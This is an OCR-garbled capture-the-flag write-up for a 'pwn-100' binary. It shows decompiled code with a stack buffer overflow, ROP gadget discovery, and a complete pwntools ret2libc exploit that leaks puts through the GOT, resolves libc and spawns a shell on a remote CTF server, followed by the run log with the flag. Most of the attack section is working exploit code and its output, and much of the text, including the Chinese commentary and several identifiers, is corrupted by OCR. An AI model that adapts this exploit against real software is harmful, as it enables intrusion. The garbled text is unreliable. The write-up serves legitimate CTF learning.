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root@mypwn: /ctf/work/python/pwn-100# checksec doOb5f9b486bb480c9035839ec896252e
[*] '/ctf/work/python/pwn-100/d0b5f9b486bb480c9035839ec896252¢"

Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x400000)
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__inte4 _ fastcall main(__int64 al, char **a2, char **a3)

{
setbuf(stdin, OLL);

setbuf(stdout, OLL);

go_game();
return OLL;

int go_game()

{
char szInputString; // [rsp+06h] [rbp-46h]

read_string((__int64)&szInputString, 200);
return puts("bye~");

__inte4 _ fastcall read_string(__int64 pszBuffer, signed int nSize)

{
__int64 result; // rax

signed int i; // [rsp+1Ch] [rbp-4h]

for (1 =0; ; ++i )
{
result = (unsigned int)i;
if (i >= nSize )
break;
read(0, (void *)(i + pszBuffer), 1ulLl);
}

return result;
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BAVEE— Fpayload, —3FEEF 4 payload:
1. KEputsed Hot bt

'A' * (0x40+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload.ljust(200, 'B')

payload

payload

2. iz17system('/bin/sh’)

'A' * (0x40+8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload.ljust(200, 'B')

payload

payload
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root@mypwn: /ctf/work/python/pwn-100# ROPgadget --binary d@b5f9b486bb480c9035839ec896252e --only "pop|ret" |
0Xx000000000R400763 : pop rdi ; ret



main_addrit Zmaine& F i, HAib AR T A E#F pythonfi 4, BARMWT:

#coding:utf8

from pwn import *

from LibcSearcher import *

# context.log_level = 'debug'

process_name = './d@b5f9b486bb480c9035839ec896252¢"
# p = process(process_name)

p = remote('111.198.29.45"', 39499)

elf = ELF(process_name)

main_addr = 0x4006B8

pop_rdi_ret = 0x400763

puts_got = elf.got['puts']

puts_plt = elf.plt['puts']

def get_puts(p):
payload = 'A' * (0x40+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, 'B')

p.send(payload)

p.recvuntil('bye~\n")

puts_addr = u64(p.recv(6).1ljust(8, '\x00"'))
log.info("puts_addr => %#x", puts_addr)
p.recv(l)

return puts_addr
puts_addr = get_puts(p)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts"')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh")
payload = 'A' * (0x40+8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200, 'B')

p.sendline(payload)

p.interactive()
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root@mypwn:/ctf/work/python/pwn-100# python pwn-100.py
[+] Opening connection to 111.198.29.45 on port 39499: Done
[*] '/ctf/work/python/pwn-100/d0@b5f9b486bb480c9035839ec896252e"

Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x400000)

[*] puts_addr => @x7efcfcba5690
Multi Results:
0: archive-old-glibc (id libc6-amd64_2.24-3ubuntul_i386)
1: archive-old-glibc (id libc6-amd64_2.24-3ubuntu2.2_1i386)
2: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2.2_1i386)
3: ubuntu-xenial-amd64-1ibc6 (id 1libc6_2.23-0@ubuntul®_amdé4)
4: archive-old-glibc (id 1ibc6-amd64_2.24-9ubuntu2_1i386)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:3
[+] ubuntu-xenial-amd64-1ibc6 (id libc6_2.23-Qubuntul®_amd64) be choosed.
[*] Switching to interactive mode
bye~
$ cat flag
cyberpeace{fa9353aa341f02d8d6044608735bd457e}
$

WATHLT, EF| T flag.
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